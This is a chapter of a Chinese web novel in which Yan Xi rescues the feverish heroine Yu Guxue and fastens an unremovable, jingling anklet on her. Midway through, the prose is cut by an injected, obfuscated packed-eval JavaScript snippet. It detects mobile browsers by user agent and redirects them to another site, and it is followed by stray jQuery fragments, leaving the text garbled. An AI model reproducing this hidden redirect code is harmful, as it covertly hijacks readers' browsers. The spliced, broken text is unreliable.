105. 脚镯

    迷迷糊糊的睁开眼后,尤辜雪的眼睛缓慢的聚焦环视四周。


    典雅的家具,看样式没有多珍贵,这屋子不算大,也就七八十平的样子,只是鼻尖总是萦绕着一股子药味,地狱是长这样的?


    定了下心神后,她让系统查了一下道德值,目前清空了,尤辜雪头疼的闭上眼睛,在那冷的彻骨的水里,她就算会游泳也快熬不下去了,系统告诉她可以用道德值延长生存的时间。


    她一着急就换了,也没问要多少,眼下是直接没了,为零。


    看来回去要抓紧时间赚道德值了,不然万一成负数,又引来责罚也够头疼的,虽然她只疼过一次,可那一次就够够的了。


    只是让她没有想到的是,来救人的居然会是燕熹,迷迷糊糊间,她是看见了他,应该没看错,只是不知道自己现在身处何处?


    在冰冷的湖水里泡了不知道多久,但尤辜雪有些意识,知道自己是发烧了,浑身上下大汗淋漓,现在身上虚的慌,鼻子还不通,呼吸的时候也能察觉到嗓子疼,像针扎。


    眼瞅着案几上放的茶水,尤辜雪掀开被子,下床给自己倒杯水,冰凉的水滑过嗓子眼,是舒服的,可是舒服后就有更疼了。


    她难受的咳了几下,又有些反胃,差点将胃里的酸水给咳了出来。


    “东家。”


    “嗯,她醒了吗?”


    “还没。”


    尤辜雪听到外面的声音,也就更加确定了,是燕熹救的人。


    她莫名其妙的觉得自己像是在做贼,赶紧放下茶杯,忍着浑身酸软无力想要回床上,接着睡,省的面对他不知道该说什么,结果腿软无力外加有伤,燕熹刚一开门,尤辜雪就直接跪了下来。


    阿珑眨巴眨巴眼睛,不知道她在干什么?


    燕熹好整以暇的双臂环在胸前,靠着门边上下打量她,揶揄道:“这是你感谢救命之恩的方式?阿雪,你的膝盖够软的。”


    她好些天没吃东西,方才腿软直接砸在了地面上,咚地一声,膝盖疼的很,还有后背,疼的更厉害,似乎被匕首刺伤的地方,伤口挣的疼。


    尤辜雪被糗的耳尖发红,嗓子疼也懒得开口回怼他,只是沉默起身,要坐回床上,她现在这一身单薄的白色寝衣,实在是有些冷。


    看她慢吞吞的走路方式,腿上的剑伤有包扎,明显是疼的,以至于她走起来是一点点的挪,燕熹二话不说的上前,微微用力就给人打横抱起,往床榻走去。


    “你放我下来,我自己会走!”


    “闭嘴,以你的速度,这点路能走到二十年后。”


    哪有这么夸张?


    尤辜雪想反驳,可刚刚那一句话,就说的她嗓子受不了,便也就闭嘴了。


    阿珑给她把完脉,面上的神色算是放下了心,这祖宗总算是好转的差不多了,这些天他就围着她转,无论他怎么扎针这人就是不醒,烧退了又再起,他差点都要去佛庙里烧香了。


    “姑娘的身体已无大碍,日后好好细养就好。”阿珑起身拿起药箱,“东家,药物后面我会送过来的,我先下去了。”


    燕熹嗯了一声,为了防止屋外的冷风倒灌,阿珑贴心的关上了门。


    可是这一关,屋内就显得格外的静,静的诡异,尤辜雪不知道为何,这次再度见到他,会有种莫名的尴尬在其中,两人大眼瞪小眼,最终还是她率先败下阵来。


    “这是哪?”


    “阿珑的住所。”


    “我想再睡会。”


    燕熹挑眉:“可以。”


    她心安理得的躺平了,可闭上眼睛后始终无法放松,用被子把自己裹成球,只露出一颗小脑袋,她是真的挺疲惫的,但这人也不知道发什么神经,目光就这么直勾勾的注视着她,有点烫人,纵使她闭上眼都不能忽视。


    她觉得自己不应该这么敏感,燕熹也只是燕熹,镯子和玉佩的事都只是个意外而已,别自作多情的好。


    睁开有些酸涩的眼眸,毫无意外的和燕熹狭长的眸子对上,他深邃漂亮的眼眸中有着不多见的柔和,促使他整张面孔破天荒的温柔,有那么一瞬间,尤辜雪的心尖颤了几下。


    “燕明夷。”沙哑的声音混着鼻音响起,床上的人因为发烧,那双眸子雾气蒙蒙的,看的人心里发软,“谢谢。”


    燕熹觉得尤辜雪是一个眼明心净的人,他做的每一件事她都能看见,不论好坏,做错了她会毫不留情的开怼,做对了的话,夸赞的话也从来没有吝啬过。


    似乎他在她身上的所有投入,都能有看得见的回报。


    她从来都不会辜负他。


    燕熹淡笑一声:“怕吗?”


    尤辜雪垂下眼睫,也不知是不是发烧,把整个人身上那些不起眼却膈应人的小刺都烧软了,她的眼睛微微发酸。


    “有一点。”许是觉得这样承认自己怕有些丢人,她不好意思的笑了笑,“崖很高,湖底也很黑,不知道里面会不会窜出哥斯拉。”


    她会游泳,可却不怎么游,就是因为她有一点点的深海恐惧症,再加上小时候落过水,或许也是跟恐怖片看得多了有关系,越是黑的地方,她的想象力就越是丰富。


    对于那些听不懂的话,燕熹已经不再去细问了。


    她用所有的道德值去换生存的时间,费尽力气去撬冰面直至昏迷,却没有想过赶来把她救出来的人,会是他。


    她也不是个矫情的人,可是林玉山确实也给她带来了一定的恐惧,方才见到他的第一眼,她居然满心的委屈,鼻尖发酸。


    可是细想之后就作罢了,林玉山迫害她的事,虽然为了要威胁燕熹拿什么东西,但她不是治不了林玉山,也就觉得没有必要跟他解释什么,罕见的是,燕熹也不问她为何坠崖。


    可被林玉山追杀的这口恶气,她真的咽不下去,等回去后,看她不弄死林玉山,牢狱里的十大酷刑,她都要在他的身上试一遍。


    尤辜雪静静的凝视着身边的男人,轻声细语的问道:“燕明夷,你是怎么找到我的?”


    她当时跑去的那座崖地处偏僻,寻常的人也不会来,更何况当时大雪纷飞的,没有人会来那里,更不要说什么救人了。


    燕熹却并不着急回答她的话,而是突然间伸手钻进被窝,准确无误的抓住了她的脚踝,拉了出来。


    尤辜雪被他突如其来的动作惊的面颊羞红,慌忙的蜷缩身子想要用手去扒开他的动作,他的掌心干燥温热,却烫的她脚踝的那块皮肤刺痒。


    “你等等,你干什么?燕明夷你……”


    只见他从怀里掏出了一个银色的卡扣镯子,利落的戴在了她的脚踝上,欣赏着白皙的肤色与银色的碰撞,相得益彰。


    “不论你身在何处,我都能找到你。”


    这样就更方便找了。


    尤辜雪怔住了,燕熹垂眸,掌心缓慢的摩挲着她柔嫩的脚踝,微微的收紧力道,继而整个手掌都包裹住了她的脚:“阿雪啊,你可不能忘恩负义。”


    她为何总觉得燕熹变了,具体哪里变了,她说不出来,只是觉得他话里话外,总有些说不清道不明的情愫在其中。


    “我不喜欢戴脚镯。”


    像镣铐。


    扣住她弯腰要脱下脚镯的手,燕熹将她的手腕握住,低沉着声音蛊惑道:“乖,你会喜欢的,不要脱。”


    尤辜雪的优点之一就是表里不一,不对,是识时务者为俊杰,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781042|165329||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    眼看谈判失败,她也没有强硬的要反抗,就她现在的这副身子骨,反抗起来,胜利的概率着实不高,也就笑着应了下来。


    等燕熹一离开,她就掀开被子,琢磨着脚上的东西,回想着他的动作试图解开它,可是却始终找不到诀窍,而且在研究它的过程中,尤辜雪发现了让人窒息的一点。


    这个脚镯他妈的有响声!


    都没看见有铃铛,哪来的响声,她看了半晌才知道,这个脚镯是空心的,里面不知道设计了啥,没有铃铛也能响。


    她不可置信的下床走了几步,叮铃铛啷的,声音不大,可是细听之下,还是能听的清楚。


    这要是她以后去了刑部,在皇宫里走两步就会有声,不是会要了她的命吗?那她女司执的面子往哪搁?


    “疯子!”


    尤辜雪低骂了一句,她发现骂疯子系统不会扣分,所以,这简单的两个字,背后的寓意,以及含妈量极高。


    坐在蒲草团上,尤辜雪低头努力的想要拆下这个令人羞耻的桎梏,她撬断了四根毛笔,都没法撼动它分毫,连脚镯下的肌肤都磨红了。


    受不了的她直接捧起自己的脚,上嘴要咬那个镯子,她的柔韧度是可以的,真的被她咬到了,可是上嘴没有一会,不止牙硌着难受,连小腿也抽筋了。


    缺钙了!缺钙了!


    人倒在地上抱着腿,疼的她额头直冒汗。


    舒缓了还没有一会,门被推开了,尤辜雪白着一张小脸回头,燕熹手举托盘,上面放着一堆的药物,他侧头看着在地上蜷缩成一团的人,还有那饱受折磨,却毫发无损的脚镯。


    “别费劲了,这镯子戴上是摘不下来的。”燕熹似乎对她的反抗有些不悦,也没有扶起她,只是端着托盘掠过她,“过来喝药。”


    摘不下来?


    尤辜雪不信,但是她知道,这东西既然是他给她戴上的,就算有摘下来的方法,也不一定会告诉她,所以,她还得自己去琢磨,不能硬刚,毕竟这里是阿珑的住所,换句话说,也是他的地盘。


    小巧的玉足踩在地板上,一步步的走过来,伴随着轻盈的铃铛声,这声音足以让尤辜雪羞愤的一头撞死,可燕熹却不觉得,他靠在床榻的一侧,偏头注视着她,唇角的笑意越发的明显,似乎很满意自己的杰作。


    那人身着白色寝衣,乌黑的发丝由于方才在地上的锉磨,显得凌乱,可是配上她晶莹剔透的眸子,却让人觉得既有生气,又很灵动,这件衣服是临时买的,对她而言偏大,却也衬的她整个人更加的娇小。


    领口收不住她的身躯,精致的锁骨和那如骨瓷一般的脖颈尽数由他欣赏,略有几根发丝曲在上面,倒叫人看的心中酥痒难耐。


    燕熹越发的觉得自己以前不识好歹,竟觉得她姿色平平,视线落在她的柔嫩的脚踝上,那脚镯每动一下,都会响,每一下都像是踩在他的心弦上。


    那好听的声音由远及近,燕熹的眸色一暗,喉结忍不住上下一动。


    尤辜雪自觉的端起那黑乎乎的药汁,忍着嗓子里的剧痛和反胃,闭上眼,一口闷了。


    阿珑这药的口感虽然有待改进,可是药效还是很好的,她能明显的感觉到,自己的精神状态是比之前充足多了。


    受不了嘴里的苦味,尤辜雪皱着一张脸,扔下碗,跑到了身后的案几上倒了杯茶好好的缓缓。


    脚镯的声音响得细碎,吵得尤辜雪头疼,却听的燕熹格外满意,可随之而来的那份燥热感,却让他有种自作孽的感觉,他给她戴的是脚镯,又不是情药,怎么会有这种意料之外的效果?


    “过来。”燕熹在坐在床榻的边缘,手上拿过剩余的药膏,搅拌着,“脱衣,上药。”